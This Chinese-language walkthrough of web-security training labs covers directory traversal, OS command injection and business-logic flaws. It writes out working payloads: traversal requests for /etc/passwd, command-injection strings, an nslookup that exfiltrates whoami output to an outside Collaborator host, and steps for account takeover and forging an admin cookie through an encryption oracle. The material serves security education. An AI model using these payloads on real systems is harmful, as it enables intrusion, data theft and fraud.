
一、Directory traversal
01 File path traversal, simple case
描述
本实验室在产品图片显示中包含文件路径遍历漏洞。
要解决实验室问题,请检索/etc/passwd
文件的内容。
解决方案
在图片查看的时候文件是以filename=的形式读取的,bp抓包
GET /image?filename=../../../etc/passwd
02 File path traversal, traversal sequences blocked with absolute path bypass
描述
本实验室在产品图片显示中包含文件路径遍历漏洞。
应用程序阻止遍历序列,但将提供的文件名视为相对于默认工作目录。
要解决实验室问题,请检索/etc/passwd
文件的内容。
解决方案
使用绝对路径
GET /image?filename=/etc/passwd
03 File path traversal, traversal sequences stripped non-recursively
描述
本实验室在产品图片显示中包含文件路径遍历漏洞。
应用程序在使用之前从用户提供的文件名中去除路径遍历序列。
要解决实验室问题,请检索/etc/passwd
文件的内容。
解决方案
应用程序得到....//
之后会删除../
,所以需要双写绕过限制
GET /image?filename=....//....//....//etc/passwd
04 File path traversal, traversal sequences stripped with superfluous URL-decode
描述
本实验室在产品图片显示中包含文件路径遍历漏洞。
应用程序块包含路径遍历序列的输入。然后在使用之前对输入执行 URL 解码。
要解决实验室问题,请检索/etc/passwd
文件的内容。
解决方案
%25是百分号%的url编码,%2f是/的url编码。应用程序得到..%252f
后会进行url解码,得到..%2f
,再次解码得到../
GET /image?filename=..%252f..%252f..%252fetc%252fpasswd
05 File path traversal, validation of start of path
描述
本实验室在产品图片显示中包含文件路径遍历漏洞。
应用程序通过请求参数传输完整的文件路径,并验证提供的路径是否以预期的文件夹开头。
要解决实验室问题,请检索/etc/passwd
文件的内容。
解决方案
根据文件夹的开头来验证
GET /image?filename=/var/www/images/../../../../../../etc/passwd
06 File path traversal, validation of file extension with null byte bypass
描述
本实验室在产品图片显示中包含文件路径遍历漏洞。
应用程序验证提供的文件名是否以预期的文件扩展名结尾。
要解决实验室问题,请检索/etc/passwd
文件的内容。
解决方案
GET方法可以使用%00截断漏洞
服务器收到的字符是`../../../../../etc/passwd%00aa.jpg
,最后的.jpg作为后缀,但是读取文件处理的时候将%00作为截断符号,只会读取../../../../../etc/passwd
GET /image?filename=../../../../../etc/passwd%00aa.jpg
二、OS command injection
00 常用命令和分隔符
Purpose of command | Linux | Windows |
---|---|---|
Name of current user | whoami | whoami |
Operating system | uname -a | ver |
Network configuration | ifconfig | ipconfig /all |
Network connections | netstat -an | netstat -an |
Running processes | ps -ef | tasklist |
注入操作系统命令的方式
许多字符用作命令分隔符,允许将命令链接在一起。以下命令分隔符适用于基于 Windows 和 Unix 的系统:
&
&&
|
||
以下命令分隔符仅适用于基于 Unix 的系统:
;
Newline (0x0a or \n)
在基于 Unix 的系统上,您还可以使用反引号或美元字符在原始命令中执行注入命令的内联执行:
` injected command `
$( injected command )
请注意,不同的 shell 元字符具有细微的不同行为,这些行为可能会影响它们是否在某些情况下工作,以及它们是否允许带内检索命令输出或仅对盲目利用有用。
有时,您控制的输入会出现在原始命令的引号内。在这种情况下,您需要在使用合适的 shell 元字符注入新命令之前终止引用的上下文(使用"
或'
)。
01 OS command injection, simple case
描述
该实验室在产品库存检查器中包含一个操作系统命令注入漏洞。
应用程序执行包含用户提供的产品和商店 ID 的 shell 命令,并在其响应中返回命令的原始输出。
为了解决实验室,执行whoami
命令来确定当前用户的名称.
解决方案
打开任意商品,最下面选择地区,检查库存
查找经过bp的数据包,在storeId位置存在命令执行
02 Blind OS command injection with time delays
描述
应用程序执行包含用户提供的详细信息的 shell 命令。命令的输出不会在响应中返回。
解决实验室,利用OS盲注漏洞造成10秒延迟。
解决方案
csrf=MUl4VCyl7vFMjMNACLmbBXnIQJZQx43R&name=aa&email=aaa%40aa.com||sleep+10||&subject=aa&message=aaaa
或者
csrf=MUl4VCyl7vFMjMNACLmbBXnIQJZQx43R&name=aa&email=aaa%40aa.com||ping+-c+10+127.0.0.1||&subject=aa&message=aaaa
03 Blind OS command injection with output redirection
描述
应用程序执行包含用户提供的详细信息的 shell 命令。命令的输出不会在响应中返回。但是,您可以使用输出重定向来捕获命令的输出。有一个可写文件夹:
/var/www/images/
该应用程序从该位置提供产品目录的图像。您可以将注入命令的输出重定向到此文件夹中的文件,然后使用图像加载 URL 检索文件的内容。
要解决实验室问题,请执行whoami
命令并检索输出。
解决方案
这个漏洞和第二个一样,就是要写入文件
先验证下漏洞存在
email=aaa||sleep+10||
写入文件,文件名是1
email=aaa||whoami>/var/www/images/1||
读文件
04 Blind OS command injection with out-of-band interaction
描述
应用程序执行包含用户提供的详细信息的 shell 命令。该命令是异步执行的,对应用程序的响应没有影响。无法将输出重定向到您可以访问的位置。但是,您可以触发与外部域的带外交互。
为解决实验室问题,利用盲操作系统命令注入漏洞向 Burp Collaborator 发出 DNS 查找。
解决方案
需要使用 Burp Collaborator 客户端。生成url
aaemail=aaa||nslookup+k5qs8cf4thsy98ma191tg6awonudi2.burpcollaborator.net||
05 Blind OS command injection with out-of-band data exfiltration
描述
应用程序执行包含用户提供的详细信息的 shell 命令。该命令是异步执行的,对应用程序的响应没有影响。无法将输出重定向到您可以访问的位置。但是,您可以触发与外部域的带外交互。
要解决实验室问题,请执行whoami
命令并通过 DNS 查询将输出泄露到 Burp Collaborator。您需要输入当前用户的姓名才能完成实验。
解决方案
关于重音符看这个就明白了
执行查询
email=aaa||nslookup+`whoami`.vsr3vn2fgsf9wj9loko43hx7byhp5e.burpcollaborator.net||
获取到用户名 peter-F4eRyn
点击submit solution输入用户名解题
三、Business logic vulnerabilities
01 Excessive trust in client-side controls
描述
本实验未充分验证用户输入。您可以利用其采购工作流程中的逻辑缺陷以意外价格购买商品。解决实验室,买一件“Lightweight "l33t" Leather Jacket”。
您可以使用以下凭据登录自己的帐户:wiener:peter
解决方案
登录wiener用户,发现余额是100
而需要购买的衣服是1337的价格。
打开衣服详情页,添加购物车的时候抓包
将133700修改为1,forward,查看购物车,价格变成了0.01
点击付款
02 High-level logic vulnerability
描述
本实验未充分验证用户输入。您可以利用其采购工作流程中的逻辑缺陷以意外价格购买商品。解决实验室,买一件“轻量级l33t皮夹克”。
您可以使用以下凭据登录自己的帐户:wiener:peter
解决方案
本实验中商品数量可以是负值,金额也可以是负值,所以当我们选择另一个商品,使它的负值a加上一件夹克的价格b的总数小于100即可
付款通过
03 Low-level logic flaw
描述
本实验未充分验证用户输入。您可以利用其采购工作流程中的逻辑缺陷以意外价格购买商品。解决实验室,买一件“轻量级l33t皮夹克”。
您可以使用以下凭据登录自己的帐户:wiener:peter
解决方案
这个实验中,不能直接抓包修改商品数量负值。
每次加入购物车数量不能超过2位数,一次最多99件
尝试金额是否存在最大值,intruder爆破
添加空载荷
爆破100000次
开始攻击后,经常刷新看一下金额,发现金额达到一个最大值后再增加就会变成负值,查看解题思路得知最大值是2,147,483,647,我们随便得到一个负值的金额,然后通过计算一定量的商品,使其之和小于100即可
在金额接近正值的时候停止高线程攻击,在攻击时选择线程为1,无限期继续
当数量更接近的时候停止,根据剩余差值选择合适商品来填,注意金额之和要大于0且小于100
我的结果是这样的
Lightweight "l33t" Leather Jacket 数量32123,Single Use Food Hider数量13
现在的金额是 26.04
购买
04 Inconsistent handling of exceptional input
描述
本实验未充分验证用户输入。您可以利用其帐户注册过程中的逻辑缺陷来访问管理功能。要解决实验室问题,请访问管理面板并删除 Carlos。
解决方案
三点说明:
(1)本实验的漏洞点在于邮箱地址过长时截断保留前255位字符。
(2)且由于邮件读取的时候规则是读最后面的@YOUR-EMAIL-ID.web-security-academy.net进行判断邮箱地址来发送的,所以无论我们前面怎么写,只要后面是对的就可以收到邮件。
(3)又由于服务器判断用户是否为管理员的依据是:通过邮箱所在域是@dontwannacry.com。从而导致读取邮箱时,误以为是高权限用户在注册,于是赋予了这个用户高权限。
所有我们可以直接构造邮箱地址去获取管理员身份达到攻击目的。
1.通过 Burp 代理流量时,打开实验室并转到 "Target" > "Site map"选项卡。右键单击靶场的域名并选择"Engagement tools" > "Discover content"以打开内容发现扫描工具。
2.单击"Session is not running"来启动扫描。
查看对话框中的"Site map" 选项卡。请注意,它发现了新的路径/admin。401状态码是Unauthorized(未授权)。
3.将响应放在浏览器查看,显示无权访问,并返回错误消息:Admin interface only available if logged in as a DontWannaCry user 。得知用户DontWannaCry有访问权限。
4.注册
进入账户注册页面,注册用户名随意,邮箱填写邮箱服务器中的攻击邮箱
attacker@exploit-ac441f8b1e653f8a80edc7a901bd0056.web-security-academy.net
转到电子邮件客户端并注意您已收到确认电子邮件。
单击链接以完成注册。
5.漏洞点-邮箱过长导致的截断
从靶场上面的按钮,打开电子邮件客户端。记下电子邮件服务器域名中的 ID ( @YOUR-EMAIL-ID.web-security-academy.net)。 返回实验室并使用以下格式的超长电子邮件地址进行注册: anything@YOUR-EMAIL-ID.web-security-academy.net 该地址总长度应至少为 255 个字符长。 转到电子邮件客户端并注意您已收到确认电子邮件。
单击链接以完成注册过程。
登录并转到“my account”页面。请注意,您的电子邮件地址已被截断为255 个字符。
短一点的时候是这样
短的狠了就不会触发截断机制了
6.攻击
注销并返回到帐户注册页面。 使用另一个长电子邮件地址注册一个新帐户,但这次dontwannacry.com在您的电子邮件地址中包括作为子域,如下所示:anything@dontwannacry.com.YOUR-EMAIL-ID.web-security-academy.net 确保anything字符数正确,确保到@dontwannacry.com最后一个m的字符数为255 转到电子邮件客户端,然后单击您收到的确认电子邮件中的链接。
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa@dontwannacry.com.exploit-ac441f8b1e653f8a80edc7a901bd0056.web-security-academy.net
登录到您的新帐户并注意您现在可以访问管理面板。应用程序服务器将填写的邮箱地址截断保留前255 个字符。anything@dontwannacry.com地址就成了你的地址了。您可以从“我的帐户”页面确认这一点。
7.转到管理面板并删除 Carlos 以解决
这个漏洞也是属于一个逻辑漏洞,因为255个字符长度的限制,导致读取邮箱时,误以为是高权限用户在注册,于是赋予了这个用户高权限
05 Inconsistent security controls
描述
该实验室有缺陷的逻辑允许任意用户访问只应提供给公司员工的管理功能。要解决实验室问题,请访问管理面板并删除 Carlos。
解决方案
1.测试一下访问/admin,发现和前一个类似
但这次没有截断
2.但是在/my-account页面,您可以选择更改电子邮件地址,将您的电子邮件地址更改为任意@dontwannacry.com
地址。
3.可以访问管理页面了
4.转到管理面板并删除 Carlos 以解决实验
06 Weak isolation on dual-use endpoint
描述
该实验室根据用户的输入对用户的权限级别做出了有缺陷的假设。因此,您可以利用其帐户管理功能的逻辑来访问任意用户的帐户。要解决实验室,请访问该administrator
帐户并删除 Carlos。
您可以使用以下凭据登录自己的帐户:wiener:peter
解决方案
漏洞点在于:在修改密码功能处,通过完全删除current-password
参数,则无需提供当前密码也可以成功更改密码
1.登录wiener账户
2.修改密码,抓包,完全删除current-password参数和值
重新登录成功,说明绕过成功
3.由于存在csrf令牌验证,重新登录wiener账户,修改密码的时候抓包修改用户名为administrator
4.登录administrator/1234,删除carlos完成实验
07 Insufficient workflow validation
描述
该实验室对采购工作流程中的事件顺序做出了有缺陷的假设。为了解决实验室,利用这个漏洞购买了一件“轻量级l33t皮夹克”。
您可以使用以下凭据登录自己的帐户:wiener:peter
解决方案
又来到了我喜欢的购物环节~
初始余额还是100$
漏洞点在于发送GET /cart/order-confirmation?order-confirmation=true可以购买购物车中的物品。
1.在 Burp 运行的情况下,登录并购买您可以使用商店信用额度购买的任何物品,以获取此流程中的所有数据包i。
购买成功
2.研究proxy http history。请注意,当您下订单时,POST /cart/checkout请求会将您重定向到订单确认页面。然后继续发送GET /cart/order-confirmation?order-confirmation=true就会购买成功。
漏洞点在于发送GET /cart/order-confirmation?order-confirmation=true可以购买购物车中的物品。将数据包发送到到 Burp repeater。
将皮夹克添加到您的购物篮中。
3.在 Burp Repeater 中,重新发送订单确认请求。观察到订单已完成,而没有从您的商店信用中扣除成本,并且实验室已解决。
GET /cart/order-confirmation?order-confirmation=true
08 Authentication bypass via flawed state machine
描述
该实验室对登录过程中的事件顺序做出了有缺陷的假设。破解实验室,利用该漏洞绕过实验室认证,访问管理界面,删除Carlos。
您可以使用以下凭据登录自己的帐户:wiener:peter
解决方案
漏洞点:登录包之后会有一个认证的/role-selector数据包,删除此数据包可绕过验证
过程不难,不会的建议看视频
1.抓登录包,第一个login包forward放过
2.第二个/role-selector包Drop删除
3.访问/,forward放包
https://ac9a1f981fbdaf7380be1bc1001600a2.web-security-academy.net/
4.成功获取管理员权限
5.删除carlos以解决实验
09 Flawed enforcement of business rules
描述
该实验室的采购工作流程存在逻辑缺陷。为了解决实验室,利用这个漏洞购买了一件“轻量级l33t皮夹克”。
您可以使用以下凭据登录自己的帐户:wiener:peter
解决方案
1.登录并注意有一个优惠券代码,NEWCUST5。
2.在页面底部,输入任意邮箱,您会收到另一个优惠券代码,SIGNUP30。
3.将皮夹克添加到您的购物车。
4.去结帐并应用两个优惠券代码以获得订单折扣。
5.尝试多次应用这些代码。请注意,如果您连续两次输入相同的代码,则会被拒绝,因为优惠券已被应用。但是,如果您在两个代码之间交替使用,则可以绕过此控制。
6.重复使用这两个代码足够多的次数,以将您的订单总额减少到少于您剩余的商店信用额度。完成命令以解决实验室。
10 Infinite money logic flaw
描述
该实验室的采购工作流程存在逻辑缺陷。为了解决实验室,利用这个漏洞购买了一件“轻量级l33t皮夹克”。
您可以使用以下凭据登录自己的帐户:wiener:peter
解决方案
该解决方案使用 Burp Intruder 来自动化购买和兑换礼品卡的过程。精通 Python 的用户可能更喜欢使用 Turbo Intruder 扩展。
1.在 Burp 运行的情况下,登录并在home页底部注册以获得优惠券代码SIGNUP30。您可以购买 10 美元的礼品卡并从“my-account”页面兑换它们。
2.将礼品卡添加到您的购物篮并进行结账。应用优惠券代码可获得 30% 的折扣。完成订单并将礼品卡代码复制到剪贴板。
3.转到您的帐户页面并兑换礼品卡。请注意,整个过程为您的商店信用增加了 3 美元。现在您需要尝试自动化此过程。
4.研究proxy http history并注意您通过提供请求gift-card参数中的代码来兑换礼品卡POST /gift-card。 转到“Project options”>“Sessions”。在“Session Handling Rules”面板中,单击“add”。“Session handling rule editor”对话框打开。
5.在对话框中,转到“Scope”选项卡。在“URL Scope”下,选择“Include all URLs”。
返回“Details”选项卡。在“Rule actions”下,单击“add”>“Run a macro”。
在“Select macro”下,再次单击“add”以打开宏录制器。
选择以下请求序列: 然后,单击“确定”。宏编辑器打开。
POST /cart
POST /cart/coupon
POST /cart/checkout
GET /cart/order-confirmation?order-confirmed=true
POST /gift-card
6.在请求列表中,选择GET /cart/order-confirmation?order-confirmed=true。单击“Configure item”。
在打开的对话框中,单击“add”以创建自定义参数。
为参数命名gift-card并选中突出显示响应底部的礼品卡代码。单击“OK”两次以返回宏编辑器。
7.选择POST /gift-card请求并再次单击“Configure item”。
在“Parameter handling”部分,使用下拉菜单指定gift-card参数应从先前的响应(response 4)派生。单击“OK”。
8.在宏编辑器中,单击“Test macro”。查看对GET /cart/order-confirmation?order-confirmation=true生成的礼品卡代码的响应并记下。看POST /gift-card请求。确保gift-card参数匹配并确认它收到了302响应。继续单击“OK”,直到返回主 Burp 窗口。
9.将GET /my-account请求发送给 Burp Intruder。使用“Sniper”攻击类型并清除默认的有效载荷位置。
10.在“payload”选项卡上,选择有效载荷类型“Null payloads”。在“Payload options”下,选择生成412有效载荷。
11.转到“Resource pool”选项卡并将攻击添加到“Maximum concurrent requests”设置为1。开始攻击。
12.攻击完成后,您将有足够的商店信用来购买夹克并解决实验室问题。
11Authentication bypass via encryption oracle
描述
该实验室包含一个向用户公开加密预言机的逻辑缺陷。要解决实验室问题,请利用此漏洞访问管理面板并删除 Carlos。
您可以使用以下凭据登录自己的帐户:wiener:peter
解决方案
1.在勾选“Stay logged in”选项的情况下登录,找一篇文章发表评论。使用 Burp 的手动测试工具研究相应的请求和响应。观察stay-logged-incookie 是否已加密。
邮箱格式正确的时候(xxx@xx.xx)评论正常
再写一个错误的邮箱测试
得到一个错误提示
观察数据包
正确邮箱评论成功的数据包
错误邮箱
2.请注意,当您尝试使用无效的电子邮件地址提交评论时,响应中会在将您重定向到博客文章之前设置一个加密的cookie notification。
3.请注意,错误消息email以明文形式反映了您从参数中输入的信息: Invalid email address: your-invalid-email 推断这必须从cookie notification 中解密。向 Burp Repeater发送POST /post/comment和后续GET /post?postId=x请求(这个请求中也包含notification cookie)。
4.在Repeater中,观察可以使用请求的email参数POST对任意数据进行加密,并在Set-Cookie header中反映对应的密文。同样,您可以使用请求中的cookie notification GET来解密任意密文并在错误消息中反映输出。
加密用的数据包POST /post/comment
解密适用的数据包GET /post?postId=1
为简单起见,双击每个请求的选项卡encrypt并decrypt分别重命名选项卡和。
5.在解密请求中,复制您的stay-logged-incookie 并将其粘贴到notificationcookie 中。发送请求。响应现在包含解密的stay-logged-incookie,而不是错误消息
stay-logged-in=ajCH8h4j9DGNrMKUj3nHUfVjeU%2fAYWNH92qvzHTSzMs%3d
这表明 cookie 的格式应该是username:timestamp. 将时间戳复制到剪贴板。
wiener:1631253288302
6.转到加密请求并将电子邮件参数更改为administrator:your-timestamp. 发送请求,然后notification从响应中复制新的cookie。
administrator:1631253288302
notification=u37cH7RgwyRO5VmRwRdLL980LgLbwhiQva%2fy%2b922LhNhsgoa94obZd3QmMVuyDtoHRu14Fqxi8Dsc%2bipoKtYaA%3d%3d;
7.解密这个新 cookie 的结果是
Invalid email address: administrator:1631253288302
并观察前面Invalid email address:
(算着冒号后面的一个空格) 共有23 个字符。前缀会自动添加这23个字符到您使用错误email参数的任何值中。将notification cookie发送到 Burp Decoder。
8.在解码器中,对 cookie 进行 URL 解码和 Base64 解码。选择“Hex”视图,然后右键单击数据中的第一个字节。选择“删除字节”并删除 23 个字节。
由于前面Invalid email address:
长度是23,尝试删除前面23字节,并对剩余部分进行base64编码+url编码
%6b%4c%32%76%38%76%76%64%74%69%34%54%59%62%49%4b%47%76%65%4b%47%32%58%64%30%4a%6a%46%62%73%67%37%61%42%30%62%74%65%42%61%73%59%76%41%37%48%50%6f%71%61%43%72%57%47%67%3d
9.重新编码数据并将结果复制到notification解密请求的cookie 中。当您发送请求时,观察错误消息表明使用的是基于块的加密算法,并且输入长度必须是 16 的倍数。您需要Invalid email address: 用足够的字节填充“ ”前缀,以便字节数您将删除的是 16 的倍数。
10.已知administrator:1631253288302
的长度为27。前缀Invalid email address:
长度为23,16x2-23 = 9,那么只要在administrator:1631253288302
前面添加9
个字符,删除字符的时候删除32个字符,只剩administrator:1631253288302
,就能确保解密正确。
administrator:1631253288302 无需确保一定要是16的倍数,分组加密算法会自动往结尾padding。这也是为什么一开始base64解密结果是64位的原因:64-23=41位,说明去掉前面前缀
Invalid email address:
后还剩41位的加密块,但是实际内容只剩下27位administrator:1631253288302
,自动填充了14位,从而确保总数是16的倍数64.
那么提交非法email:xxxxxxxxxadministrator:1631253288302
加密此输入并使用解密请求来测试它是否可以成功解密。
notification=u37cH7RgwyRO5VmRwRdLL0oYYvVrDGD25Rh9Edd78e%2fsLkSUXROOR3rr0Qlst2tGxEN1X7J4mmCHiFuXHtbq3A%3d%3d;
11.将新密文发送到解码器,然后通过 URL 和 Base64 对其进行解码。这一次,从数据的开头删除 32 个字节(因为现在多余首部是32位Invalid email address: xxxxxxxxx
)。
重新编码数据并将其粘贴到notification解密请求中的参数中。检查响应以确认您的输入已成功解密,并且至关重要的是,不再包含“ Invalid email address: ”前缀。你应该只看到administrator:your-timestamp.
%37%43%35%45%6c%46%30%54%6a%6b%64%36%36%39%45%4a%62%4c%64%72%52%73%52%44%64%56%2b%79%65%4a%70%67%68%34%68%62%6c%78%37%57%36%74%77%3d
12.从代理历史记录中,将GET /请求发送到 Burp Repeater。将sessioncookie彻底删除,将cookie替换stay-logged-in为您自制cookie的密文。发送请求。请注意,您现在以管理员身份登录并可以访问管理面板。
forward一下
13.使用 Burp Repeater,浏览/admin并注意删除用户的选项。浏览到/admin/delete?username=carlos解决实验室。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)